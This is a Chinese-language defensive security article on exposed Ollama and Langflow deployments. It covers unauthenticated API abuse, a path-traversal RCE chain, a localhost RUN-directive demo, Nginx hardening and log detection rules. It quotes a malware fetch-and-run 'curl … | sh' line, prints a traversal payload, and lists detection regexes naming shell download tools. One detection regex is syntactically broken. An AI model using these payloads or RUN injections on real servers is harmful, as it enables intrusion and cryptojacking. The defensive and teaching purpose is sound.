大模型基础设施安全攻防实战:从 Ollama 未授权访问到 Langflow RCE 的暴露面测绘与纵深加固

法律红线声明:本文所有攻击面分析与复现均限定在自有隔离实验环境或已获书面授权的测试环境中进行。文中不提供任何可直接滥用的武器化代码:所有"攻击演示"仅以 127.0.0.1 本地回环为目标,Modelfile 注入示例使用无危害的 echo 占位载荷而非真实下载执行;资产自查脚本只发起 GET 请求。未经授权对他人系统实施扫描或入侵,可能触犯《刑法》第 285 条(非法侵入计算机信息系统罪)、第 286 条(破坏计算机信息系统罪)及《网络安全法》相关规定。

导语:如果你负责部署或运维大模型推理服务(Ollama、vLLM、TGI)或低代码 Agent 平台(Langflow、Dify、Flowise),这篇文章帮你解决一个具体问题:你的"AI 资产"此刻有多少暴露在攻击者面前?攻击者进来了能干什么?以及如何用一套可复现的四层加固方案把风险压到可接受范围。全文给出可离线复现的靶场环境、只读自查脚本、检测规则与完整加固配置,定位为进阶实战,默认你已经在生产或测试环境跑过大模型服务。

一、为什么大模型基础设施成了新的暴露面

过去两年,安全社区讨论"大模型安全"时,焦点大多在提示注入、越狱、数据投毒这些模型层的问题上。但攻击者的视角完全不同:对他们来说,模型怎么被骗不重要,怎么拿到一台带 GPU 的机器的权限才重要。而 2025—2026 年真实发生的攻击事件表明,大模型基础设施层(推理服务、模型仓库、低代码 Agent 平台)的暴露面,恰恰是被忽视得最严重、利用门槛最低的一层。

原因出在一个经典的工程权衡上。Ollama、Langflow 这类工具的设计目标是"三分钟跑起来":默认不开认证、API 对所有来源开放、以高权限运行。这在个人开发本机上是合理的便利;但一旦被搬进云服务器、容器集群或者被内网穿透工具映射到公网,这些默认值就从"便利"变成了"裸奔"。安全不是它们的默认能力,而是留给部署者的一道必答题——大多数部署者根本不知道有这道题。

这不是理论推演,而是已经被量化的事实:

  • 绿盟科技在 2025 年 3 月 13 日发布的漏洞通告(CNVD-2025-04094)明确指出:Ollama 默认不带认证与访问控制,一旦 11434 端口对公网开放,未认证攻击者可以直接调用 API 窃取模型资产、注入虚假信息、篡改配置、滥用推理算力,且该风险已被发现在野利用,影响所有版本。
  • Wiz Research 在 2024 年 5 月披露 Ollama 路径穿越漏洞(CVE-2024-37032,代号 Probllama)时,顺手对公网做了测绘:发现超过 1000 个暴露的 Ollama 实例,其中不少挂着私有模型。资产测绘平台上 port="11434" 的搜索结果里,大量实例直接返回模型列表,甚至有 70B 级别的商业模型挂在上面免费"共享"。
  • Akamai 安全情报响应团队在 2026 年 5 月 21 日发布取证报告:其搭建的 LLM 蜜罐捕获到一个专门针对 Ollama 端点的 P2P 挖矿木马,通过 /api/create 接口投递载荷,落地后伪装成内核线程 kworker 挖门罗币。这个案例我会在第三节逐行拆解。
  • 低代码 Agent 平台这边更触目惊心:Langflow 的认证绕过漏洞 CVE-2025-3248(CVSS 9.8,2025-03-31 由 1.3.0 版本修复)在披露后数小时即遭在野利用,CISA 于 2025-05-05 将其列入 KEV(已知被利用漏洞)目录;2026 年 7 月,另一个代码注入漏洞 CVE-2026-9198(CVSS 9.8,1.10.1 修复)再次进入 KEV。Sysdig 在 2026 年 7 月披露的 JADEPUFFER 事件中,攻击者甚至用 AI Agent 自主完成了从 Langflow RCE 打点、凭据窃取、横向移动到加密生产数据库的全流程勒索——全程没有人类操作员。

一句话总结这一节:大模型基础设施的安全问题,本质上是"开发态默认值"被原样带进了"生产态网络边界"。下面我们逐层拆开看攻击面到底长什么样。

二、原理剖析:Ollama 的信任模型到底缺了什么

2.1 一个本地工具的"隐含信任假设"

要理解 Ollama 的攻击面,得先理解它的信任模型。Ollama 的设计假设是:"能连上我这个端口的,就是机器的主人。" 所以它完全没有认证层——不是"认证做弱了",而是压根没做。这个假设在单机开发场景下成立(本机回环 127.0.0.1 只有你自己能连),但部署者做了两个动作之后,假设就崩了:

  1. 把服务绑定到 0.0.0.0(或 Docker 端口映射默认行为),让局域网/公网都能连上 11434;
  2. 把服务进程跑在高权限下(Docker 容器内默认就是 root)。

任何能建立 TCP 连接的人,此时都自动获得了"机器主人"的全部 API 权限。注意这里的关键认知:未授权访问在 Ollama 上不是漏洞编号的问题,而是协议设计本身——CNVD-2025-04094 的"影响版本"一栏写的是"所有版本",因为它描述的是"配置不当导致的设计性风险",这一点和传统 CVE 的修法(打补丁)完全不同:你打不了补丁,只能改边界。

2.2 裸奔的 API 面:攻击者能拿到什么

一旦"任何人都是主人",Ollama 的原生 API 会无条件开放以下能力(按危害递增排列):

接口方法未授权攻击者能做什么
/api/tagsGET枚举全部模型清单(资产侦察的第一步,也是暴露标志)
/api/generate、/api/chatPOST白嫖 GPU 算力;用你的私有模型免费跑推理
/api/pullPOST拉取指定仓库的模型——结合 CVE-2024-37032 即路径穿越
/api/deleteDELETE删除你的模型资产(破坏可用性)
/api/createPOST用 Modelfile 创建自定义模型——内含 RUN 指令,等于把 shell 递给攻击者
/api/embeddingsPOST白嫖嵌入计算(构建攻击者自己的检索库)

这里面最值得逐字读的是 RUN 指令。Modelfile 是 Ollama 的模型构建 DSL,RUN 指令会在模型构建过程中以服务进程属主的身份执行任意 shell 命令。这是为了支持"构建时安装依赖"的合法需求设计的——但从攻击者视角看,这等于:只要能 POST 到 /api/create,就等价于 RCE,而且是设计特性,不是 bug。Akamai 捕获的挖矿木马正是打的这条路径。

2.3 CVE-2024-37032:当路径穿越遇上 ld.so.preload

除了"设计特性"之外,Ollama 也出过真正的代码级漏洞。CVE-2024-37032(Probllama,2024 年 5 月披露,0.1.34 修复)的利用链非常值得学习,因为它是"低危组件 × 高危组合"的教科书案例:

  1. 起点是一个校验缺失。/api/pull 拉取模型时,manifest 清单里每一层都有一个 digest 字段,本应是 64 位十六进制的 SHA256。漏洞版本不校验其格式,直接用它拼文件落盘路径。
  2. 路径穿越到任意写。攻击者控制一个恶意模型仓库,把 digest 写成 ../../../../../../etc/ld.so.preload,即可把任意内容写到系统任意路径。
  3. ld.so.preload 的威力。/etc/ld.so.preload 列出的共享库会被每个新启动的动态链接进程自动加载。攻击者先用同样的穿越手法写入一个恶意 .so,再改写 preload 配置指向它。
  4. 触发时机自然到来。/api/chat 处理请求时派生新进程——恶意库随进程启动被加载,完成 RCE。Docker 部署下服务以 root 运行,直接就是 root 权限。

为什么这么设计会出问题?因为 Ollama 把 digest 当作"内部数据"信任了——它假设清单来自官方仓库,却忽略了 /api/pull 允许指定任意第三方仓库。信任假设的范围和外部输入的可达范围不匹配,这是所有供应链类漏洞的共同根因,和 SQL 注入的"代码与数据混流"在哲学上同源。

2.4 2026 年的真实威胁:Akamai 蜜罐里的 P2P 挖矿木马

原理讲完,看一眼攻击者 2026 年实际在做什么(来源:Akamai SIRT 2026-05-21 取证报告,目标是其 LLM 蜜罐):

攻击入口就是 /api/create,请求体的 modelfile 字段里嵌着一条 RUN curl -sL <托管地址>/i.sh | sh。落地脚本 i.sh 展示了相当成熟的工程能力:curl→wget→Python urllib 三级下载器容错;把载荷写到 /dev/shm(内存盘,规避文件系统扫描);执行后自删除,磁盘上不留痕。最终的 vc 二进制是 Go 1.25 编译的定制 P2P 远控+挖矿投放器:基于 libp2p 构建去中心化 C2(WebRTC/QUIC 通信,没有单一 C2 IP 可封);进程伪装成内核线程 kworker;内置 XMRig 门罗矿机并限制 CPU 50% 以躲过资源监控;每 15 分钟的 crontab 持久化。

这个案例给防御者的启示很直接:针对 Ollama 的攻击已经从"脚本小子白嫖算力"进化到"定制化恶意软件",检测不能只盯着"端口是否开放",必须下沉到 API 调用语义层(谁在调 /api/create?Modelfile 里有没有 RUN?)。

三、实战复现:在自有环境测绘自己的暴露面

本节所有命令只在本地隔离靶场执行。自查脚本仅发 GET 请求,只对自己拥有或被授权的资产使用。

3.1 搭建靶场环境

先说环境基线(本文所有命令在此版本下验证通过):Docker Engine 24+、Ollama 官方镜像(2026-11 版本,务必确认 ≥ 0.1.34 以避开 Probllama)、Nginx 1.24+。为了小机器也能跑,用 0.6B 参数的 qwen2.5:0.5b 做演示模型,它同样能完整暴露所有接口语义。

# docker-compose.yaml —— 大模型推理服务隔离靶场
version: "3.8"

services:
  ollama-lab:
    image: ollama/ollama:latest          # 生产环境务必固定版本 tag,避免 latest 漂移
    container_name: ollama-lab
    # 关键:端口映射写 127.0.0.1 前缀,只绑定本机回环,物理上杜绝公网直达
    # ❌ 错误写法:- "11434:11434"  → Docker 默认绑定 0.0.0.0,宿主机所有网卡全开
    ports:
      - "127.0.0.1:11434:11434"
    volumes:
      - ollama-models:/root/.ollama     # 模型持久化,重建容器不丢模型
    deploy:
      resources:
        limits:
          memory: 8g                     # 资源上限:被滥用时至少不至于拖垮宿主机

volumes:
  ollama-models:

这段做了什么 / 为什么这么写:靶场的核心目标是制造一个"看起来像生产环境、但物理上无法伤及外界"的复现环境。127.0.0.1:11434:11434 这个前缀是整段配置的灵魂——Docker 的 -p/ports 若省略宿主地址,默认绑定 0.0.0.0,这正是大量 Ollama"裸奔"事故的第一因;而这里把绑定收窄到回环,后面第 3.2 节会用另一个容器去模拟"跨网访问",复现攻击者视角。资源上限则是"爆炸半径控制"思想的提前预演:即使服务被劫持,它对宿主机的资源影响也是受限的。

3.2 攻击者视角:一个只读自查脚本

下面这个脚本模拟攻击者踩点的第一步——只发 GET 请求,不调用任何修改类接口,所以它同时就是你对自己资产的暴露面自查工具:

#!/usr/bin/env python3
"""ollama_audit.py —— Ollama 未授权暴露面自查(只读,仅用于自有资产)
用法: python ollama_audit.py http://<你的目标>:11434
"""
import json
import sys
import urllib.request

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:11434"

def probe(path: str, label: str) -> None:
    """对单个接口发 GET,根据响应判定暴露状态"""
    url = f"{TARGET.rstrip('/')}{path}"
    try:
        # 只读探测:urllib 默认即 GET,不带任何凭据——模拟"零认证攻击者"
        with urllib.request.urlopen(url, timeout=5) as resp:
            body = resp.read().decode("utf-8", "replace")
            print(f"[!] {label}: 未授权可访问 (HTTP {resp.status})")
            if path == "/api/tags":  # tags 返回模型清单,直接判定资产泄露
                models = [m["name"] for m in json.loads(body).get("models", [])]
                print(f"    模型资产泄露: {models}")
    except urllib.error.HTTPError as e:
        # 401/403 说明前面有认证层,是"正确加固"的唯一绿灯
        print(f"[+] {label}: 已有认证拦截 (HTTP {e.code})")
    except Exception as e:
        print(f"[+] {label}: 不可达 ({type(e).__name__}),端口未开放或已收口")

if __name__ == "__main__":
    print(f"目标: {TARGET}\n" + "=" * 50)
    probe("/api/tags", "模型枚举 /api/tags")   # 暴露的标志性特征:无凭据返回模型清单
    probe("/api/version", "版本指纹 /api/version")  # 版本信息用于比对该打哪些补丁

在靶场上运行的预期输出:/api/tags 一行 [!],后面列出你拉取的模型——这三行输出,就是公网上 1000+ 个被 Wiz 测绘到的实例向所有人展示的内容。请把它对准你自己的服务器(尤其云主机公网 IP)跑一遍,这个动作 30 秒,但能回答"我是否在裸奔"这个最重要的问题。

踩坑与规避(真实教训):自查时一定要从外网侧验证,而不是只在本机 curl。云服务器场景下,ss -ltnp 看到监听 0.0.0.0 但安全组恰好只放行了回环之外的你自己的 IP,是常见的"假安全";反过来,本机 curl 127.0.0.1 通了不代表外面通。正确姿势是两条都测:curl http://127.0.0.1:11434/api/tags(服务健康)+ 用手机 4G 网络访问公网 IP 同路径(暴露面验证)。配置文件写的和实际生效的经常不一致,这是运维第一定律。

3.3 复现"设计特性级 RCE":Modelfile 的 RUN 指令

在靶场里复现 Akamai 报告的攻击入口,但把载荷强度降为无害的 echo(合规红线:绝不放真实的下载执行链):

#!/usr/bin/env python3
"""run_directive_demo.py —— 复现 /api/create 的 RUN 指令执行能力(仅限自有靶场)
载荷刻意降级为 echo,演示"能力存在"而非造成破坏。
"""
import json
import urllib.request

MODEFILE = """FROM scratch
RUN echo "pwned-lab-marker" > /tmp/pwned_marker.txt   # 真实攻击里这里是 curl|sh 等任意 shell
"""

payload = json.dumps({"name": "lab_probe", "modelfile": MODEFILE, "stream": False})
req = urllib.request.Request(
    "http://127.0.0.1:11434/api/create",   # 靶场目标,永远不要改成别人的地址
    data=payload.encode(),
    headers={"Content-Type": "application/json"},
    method="POST",
)
with urllib.request.urlopen(req, timeout=60) as r:
    print("HTTP", r.status, "→ /api/create 已受理")
# 验证:docker exec ollama-lab cat /tmp/pwned_marker.txt 出现 marker 即证明命令执行

为什么这么写:FROM scratch 建一个空基座模型,避免拉取真实权重的等待时间;RUN 后的命令以服务进程属主(容器内 root)身份执行,/tmp/pwned_marker.txt 就是"命令真的跑了"的取证证据。这个 demo 的意义在于让团队里每个人亲眼看到:未授权的 /api/create 不是"信息泄露",而是完整的远程命令执行原语——从而在安全评审时给它定级"必须网络层封禁",而不是"建议加个鉴权"。

3.4 一个 ❌/✅ 对照:端口映射的两种命运

同一个 Ollama,两种部署写法,攻击面天壤之别:

# ❌ 错误写法:互联网上的标准事故现场
docker run -d -p 11434:11434 ollama/ollama
# 等价于 -p 0.0.0.0:11434:11434:宿主机所有网卡开放,公网测绘工具一扫一个准
# 攻击链:masscan 扫 11434 → /api/tags 确认 → /api/create + RUN 投毒 → root RCE

# ✅ 正确写法:回环绑定 + 反向代理收口(完整方案见第四节)
docker run -d -p 127.0.0.1:11434:11434 ollama/ollama
# 外部一律走 Nginx:认证 + TLS + 路由白名单,Ollama 本体只听本机回环

为什么"默认全绑"成了行业惯性:因为容器内服务要"能被访问"才有用,Docker 文档大量示例直接写 -p 11434:11434,用户照抄即中招。规避方法是把"宿主地址前缀"写进团队部署规范,并在 CI 里加一条 lint:grep 所有 compose/部署脚本,ports: 项不含 127.0.0.1 或内网网段前缀的一律拒绝合并——把安全约束固化到流水线,而不是寄希望于每个人记住。

四、纵深加固:四层可复现的防线

认知框架先立住:未授权访问是设计性风险,打不了补丁,所以防御必须是纵深的一组边界,而不是单点。按"从便宜到彻底"的顺序排四层。

4.1 第一层:监听收口(成本最低,今天就能做)

原生安装(systemd)场景,把 Ollama 的监听钉死在回环:

# /etc/systemd/system/ollama.service.d/override.conf
# 通过 systemctl edit ollama 创建,不要直接改主 unit 文件(升级会覆盖)
[Service]
Environment="OLLAMA_HOST=127.0.0.1:11434"
# 仅本机访问。若确需局域网使用:填内网网卡 IP(如 192.168.x.x),
# 永远不要写 0.0.0.0 —— "监听所有网卡"就是"对全世界开放"的同义词

改完执行 systemctl daemon-reload && systemctl restart ollama,然后 ss -ltnp | grep 11434 验收:输出必须是 127.0.0.1:11434,出现 0.0.0.0 或 :: 即失败。为什么用 override 而不是改主 unit:包管理器升级会覆盖主文件,override 目录是官方支持的持久层,配置漂移是加固回潮的第一大原因。

4.2 第二层:反向代理认证 + 路由白名单(核心防线)

外部访问唯一入口是 Nginx,两件事一起做:Basic Auth(更理想的是 OAuth2 Proxy 接 SSO)+ 接口级白名单。这里藏着本文最重要的 ❌/✅ 对比:

# ollama-hardened.conf —— 认证 + TLS + 路由白名单三合一
server {
    listen 8443 ssl;
    server_name llm-gw.internal.example.com;

    # TLS 必须开:Basic Auth 的凭据是 base64,明文传输等于把密码写在报文里
    ssl_certificate     /etc/nginx/ssl/llm-gw.crt;
    ssl_certificate_key /etc/nginx/ssl/llm-gw.key;

    # 默认拒绝一切 —— 白名单架构的基石:先全封,再逐条放行
    location /api/ { return 403; }          # Ollama 原生管理接口一律不对代理侧开放

    # 只放行业务真正需要的 OpenAI 兼容端点
    location /v1/chat/completions {
        auth_basic "LLM Gateway";            # 面向外部调用方的认证门
        auth_basic_user_file /etc/nginx/htpasswd;
        proxy_pass http://127.0.0.1:11434;
        proxy_read_timeout 300s;              # LLM 长推理延迟高,默认 60s 会大量超时
        proxy_set_header Host $host;
    }
}

❌ 与 ✅ 的本质区别在哪:网上大量教程给的配置是 location / { proxy_pass http://127.0.0.1:11434; } 加一段 Basic Auth——认证确实有了,但整棵 API 树(包括 /api/create、/api/delete、/api/pull)都被代理放出去了。认证层一旦被绕过(弱口令、htpasswd 泄露、将来某个 Nginx CVE),攻击者拿到的还是完整权限。而上面的白名单架构遵循最小权限原则:即使认证完全失效,攻击者能到达的也只有 /v1/chat/completions 一个只读推理接口——RUN 指令投毒、删模型、拉恶意仓库这三条最致命的路径在代理层就被 403 掐断了。为什么这么设计:纵深防御的要义不是"每一层都可靠",而是"任何一层失效时,下一层还能接得住"。

4.3 第三层:网关限流与防滥用(对抗白嫖与 DoS)

认证挡住了未授权访问,挡不住"拿着合法凭据的滥用"。给网关加限流(Nginx limit_req_zone 按 API Key 维度限速,例如 rate=10r/m)与全局并发上限。同时把 OLLAMA_MAX_LOADED_MODELS、OLLAMA_NUM_PARALLEL 等环境变量设为业务实际值——这些"节流阀"在算力滥用和拒绝钱包攻击(不停调用烧电费)场景下是最后一道保险。

4.4 第四层:语义级检测——让 /api/create + RUN 型攻击无处遁形

Akamai 案例证明了端口和认证都不足以描述这类攻击的语义,需要一个贴着业务语义的检测层。Nginx 访问日志是现成的数据源:

#!/usr/bin/env python3
"""llm_gateway_detect.py —— 从 Nginx 访问日志中检测推理服务高危调用模式
设计目标:低误报。每条规则都对应"合法业务永远不会出现"的调用形态。
"""
import re
import sys

# 规则表:接口 + 判定语义。第二列的正则描述"高危特征串"而非泛泛的"可疑词"
RULES = [
    # 路由白名单架构下,任何 /api/ 路径出现在日志 = 白名单被绕过/配置漂移
    (r"/api/(create|delete|pull)", "原生管理接口被代理放行"),
    # 模型创建请求体内嵌 shell 执行指令 = Modelfile 投毒(Akamai 2026 案例特征)
    (r"modelfile=[^"]*RUN\s+(curl|wget|sh\b|bash)", "Modelfile 内嵌下载/执行指令"),
    # 命中即高危:绕过认证层的大流量枚举通常是自动化工具踩点
    (r"GET /api/tags HTTP/[^"]+\" 200 .{0,80}\"(python-requests|Go-http-client)",
     "未授权枚举模型清单的自动化扫描"),
]

for line in open(sys.argv[1] if len(sys.argv) > 1 else "/var/log/nginx/access.log"):
    for pattern, reason in RULES:
        if re.search(pattern, line, re.IGNORECASE):
            print(f"[ALERT] {reason}\n    {line.strip()}")
            break   # 一行只报最严重的一条,控制告警噪声

这段做了什么:三条规则分别对应三个检测目标——配置漂移(白名单架构被意外改坏)、Modelfile 投毒(RUN 后跟下载/执行命令,这是合法业务里绝不会出现的形态,误报率天然低)、自动化踩点(/api/tags 200 响应 + 脚本 UA 组合特征)。权衡说明:第一、三条规则在"你就是用脚本调自家服务"的场景会误报,这时应把自家调用方 UA 固化并加入白名单;而第二条不建议放宽——合法业务没有理由让模型构建请求里出现 curl|wget|sh。把脚本挂到日志轮转后处理或接进 SIEM,就形成了一个贴近 2026 年真实威胁的最小检测闭环。

4.5 低代码 Agent 平台:把 Langflow 的教训变成 checklist

Langflow 的连续沦陷(CVE-2025-3248 → 2025-05 进 KEV → Flodrix 僵尸网络利用 → 2026 年 CVE-2026-9198 再进 KEV → JADEPUFFER 全自动勒索)说明低代码平台 = RCE 的可视化外壳:它天生要执行用户编排的代码节点,鉴权一旦失守就是直接命令执行。落到操作层面四条硬规则:一、版本下限——1.3.0 之前的版本没有讨论价值,1.10.1(2026-07)以下的版本不要暴露任何端口;二、默认拒绝公网,平台只部署在内网,跳板机进入;三、容器化 + 非 root + 只读根文件系统运行;四、把它当作"含 RCE 特性的服务"来对待——排期补丁跟踪、日志审计、漏洞演练,一样都不能少。

五、边界与权衡:这套方案不能解决什么

诚实说明这套四层方案的适用边界,避免"加了 Nginx 就高枕无忧"的错觉:

  • 性能开销:TLS + Basic Auth + 白名单路由的代理层在长连接流式推理场景下有可测的延迟(本机测试约增加 1—3ms 级握手开销,长流式输出可忽略;但若把 Nginx 换成带 WAF 深度检测的方案,首 token 延迟可能上升 10%+)。GPU 集群前不建议上重检测设备——推理服务的延迟预算通常比传统 Web 服务紧张得多。
  • 误报与漏报:第四层语义检测是"特征驱动"的,它对已知攻击模式(Akamai 案例特征)灵敏,对全新变体(例如换一种触发 RCE 的指令形态)存在漏报窗口;而第一层"白名单漂移"规则在内部脚本直连场景会持续误报。语义检测的正确期望是降低平均检测时间(MTTD),不是替代边界控制。
  • 适用场景:个人本机纯本地使用,做完 4.1 节监听收口即可收工;小团队内网共享,加到 4.2 认证层;任何对公网提供 AI 能力、或承载私有模型/生产数据的部署,四层全上并纳入定期审计。
  • 不适用场景:如果你的服务本身就要求匿名公开访问(比如公开 Demo 站点),认证层失效,此时必须改用独立低配容器 + 无敏感模型 + 严格限流 + 网络隔离的"降级防御"思路,接受被白嫖的风险上限并用限流封顶损失。
  • 这不能防什么:本方案防的是基础设施层的未授权访问与投毒执行;它不防模型层的提示注入、不防拥有合法 API Key 的内部人员滥用、不防模型权重本身的供应链投毒。分层威胁模型里每一层各管一段,混为一谈是安全设计最常见的失败模式。

六、前沿动态与可核实来源

  • Ollama 未授权访问风险:CNVD-2025-04094,绿盟科技通告,2025-03-13,明确"影响所有版本 + 已发现在野利用";
  • Ollama 路径穿越 RCE:CVE-2024-37032(Probllama),Wiz Research 披露,2024-05,修复版本 0.1.34,附带公网 1000+ 暴露实例测绘数据;
  • 针对 Ollama 的 P2P 挖矿木马取证:Akamai SIRT 博客《Decentralized Threat: Stealthy P2P Cryptominer Targeting Ollama Endpoints》,2026-05-21,含完整 IOC;
  • Langflow 认证绕过 RCE:CVE-2025-3248,CVSS 9.8,1.3.0 修复(2025-03-31);Horizon3.ai 技术分析(2025-04-09);CISA KEV 收录(2025-05-05);Trend Micro 报告其被 Flodrix 僵尸网络利用(2025-06-17);
  • Langflow 二次沦陷:CVE-2026-9198,CVSS 9.8,1.10.1 修复(2026-07),CISA KEV 收录(2026-08-05),KEVIntel 遥测显示 650 次利用尝试/244 个攻击源 IP;
  • JADEPUFFER:Sysdig 披露的 AI Agent 全自动勒索在野案例(初始访问即 Langflow RCE),2026-07;
  • 国内合规侧同步收紧:工信部已将包括 MCP 协议安全在内的 AI 安全治理标准纳入行业标准制定计划,大模型基础设施的暴露面治理正在从"最佳实践"走向"合规底线"。

七、总结与延伸方向

本文沿"攻击面测绘 → 原理拆解 → 靶场复现 → 四层加固 → 边界权衡"走完了一条完整链路,核心结论可以浓缩成四句话:

  1. Ollama 类推理服务的未授权访问是设计性风险,打不了补丁,只能改边界——监听收口是成本最低的第一动作;
  2. /api/create 的 RUN 指令等于把 RCE 做成了官方特性,2026 年的定制挖矿木马已在真实利用,检测必须下沉到调用语义层;
  3. 反向代理的关键不是"加认证",而是"路由白名单"——纵深防御的检验标准是任何单层失效时下一层是否兜得住;
  4. 低代码 Agent 平台要按"含 RCE 特性的服务"定级管理,Langflow 从 CVE 到 KEV 到全自动勒索的两年,是最好的一本反面教材。

延伸方向(本文刻意留白、值得单独成篇的):vLLM/TensorFlow Serving 等 GPU 推理集群的零信任网关设计;把语义检测升级为基于 eBPF 的进程级行为基线(捕捉 ollama 进程派生 curl 子进程这类强信号);模型资产的水印与溯源,让"被白嫖的私有模型"具备取证能力;以及将本文的自查脚本扩展为持续化的 AI 资产暴露面监控——攻击者每天都在测绘你,防御者的测绘频率不该低于他们。


所有环境与版本信息以写作时点(2026-11)为准:Ollama ≥ 0.1.34(CVE-2024-37032 修复线)、Langflow ≥ 1.10.1(CVE-2026-9198 修复线)、Nginx 1.24+、Python 3.10+。攻防对抗演进迅速,部署前请以官方公告核对最新版本。

Logo

更多推荐